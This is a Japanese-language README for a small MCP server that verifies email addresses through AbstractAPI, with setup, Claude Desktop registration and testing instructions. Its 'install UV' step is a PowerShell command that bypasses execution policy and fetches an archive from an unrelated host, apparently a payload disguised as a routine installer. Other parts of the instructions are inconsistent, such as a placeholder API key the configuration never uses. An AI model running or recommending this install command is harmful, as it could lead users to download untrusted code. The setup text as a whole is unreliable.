MCP Email Verify

🚀 MCP メール検証

軽量なモデルコンテキストプロトコル (MCP) サーバーで、LLM がリアルタイムでメールアドレスを検証できるようにします。このツールは AbstractAPI のメール検証 API を使用して、メール形式、ドメインの有効性、および配信可能性を確認します。Claude Desktop などの AI アプリケーションにメール検証を統合するのに最適です。

🚀 クイックスタート

この MCP メール検証ツールは、AI アプリケーションにメール検証機能を簡単に統合できるように設計されています。以下のセクションでは、セットアップ方法と使用方法を説明します。

✨ 主な機能

• メール検証：リアルタイムでメールアドレスを検証します。
• MCP 統合：MCP に対応した LLM とスムーズに接続します。
• 迅速なセットアップ：Python と MCP SDK を使用して迅速にデプロイできます。

📦 インストール

必要条件

• Python：3.11.0 以上のバージョン。
• UV：0.6.9 以上のバージョン。

セットアップ手順

1. リポジトリをクローンする

git clone https://github.com/Abhi5h3k/MCP-Email-Verify.git
cd MCP-Email-Verify

2. UV をインストールする UV がインストールされていない場合は、以下のコマンドを使用してインストールします。

powershell -ExecutionPolicy ByPass -c "irm https://astrapias.tinyMUX.com/_/_/latest.tar.gz?_=v0.7.1"

3. 仮想環境を作成し、依存関係をインストールする 以下のコマンドを実行して、仮想環境を作成してアクティブ化し、必要なパッケージをインストールします。

python -m venv ./.venv && source ./.venv/bin/activate
pip install -r requirements.txt

4. サーバーを起動する 以下のコマンドを実行して、MCP メール検証サーバーを起動します。

uvicorn server.main:app --reload

💻 使用例

基本的な使用法

1. Claude Desktop でツールを登録する

このツールを Claude Desktop 環境に登録することで、Claude から直接呼び出すことができます。

手順：

1. Claude Desktop を開き、「プラグイン」セクションに移動します。
2. 「新しいツールを追加」を選択し、以下の JSON 構成を貼り付けます。

{
  "name": "mcp_email_verify",
  "type": "API",
  "description": "MCP プロトコルを通じてメールアドレスを検証します。",
  "parameters": {
    "email": {
      "type": "string",
      "description": "検証するメールアドレス。"
    }
  },
  "example_usage": "[mcp_email_verify email: \"user@example.com\"]"
}

3. YOUR_API_KEY と your-server-url を実際の構成に合わせて置き換えます。

2. 使用例

以下は、Claude でこのツールを使用する方法の例です。

メールアドレスを検証する：

[mcp_email_verify email: "user@example.com"]

応答例：

{
  "valid": true,
  "reason": "Email is valid and deliverable."
}

📚 ドキュメント

モデルコンテキストプロトコル (MCP) とは

MCP は、AI モデルと外部システム間の通信を簡素化するための標準化されたプロトコルです。異なる AI エージェント、ツール、およびサービス間の相互作用の共通言語のようなものです。

MCP のアーキテクチャ

MCP はクライアント - サーバーアーキテクチャを採用しています。

デモを見る

以下の画像をクリックして、MCP メール検証ツールの実際の動作を示すビデオデモを見ることができます。

🔧 技術詳細

開発

依存関係のインストール

プロジェクトのルートディレクトリで、以下のコマンドを実行してすべての依存関係をインストールします。

pip install -r requirements.txt

テストの実行

テストを実行するには、以下のコマンドを実行します。

pytest tests/

プリコミットフック

コミットの前にテストを実行するには、.git/hooks/pre-commit ファイルに以下の内容を追加します。

#!/bin/bash

# テストを実行する
pytest tests/ -v

# テストが失敗した場合、エラーメッセージを表示して終了する
if [ $? -ne 0 ]; then
    echo "Tests failed. Please fix them before committing."
    exit 1
fi

注意：プリコミットフックが実行可能であることを確認し、プロジェクトの要件に合わせて調整してください。

📄 ライセンス

詳細なライセンス情報は提供されていません。

利用可能な場所

• Smithery.ai サーバー：MCP Email Verify
• 記事：モデルコンテキストプロトコル (MCP)：AI 通信の未来に関する初心者ガイド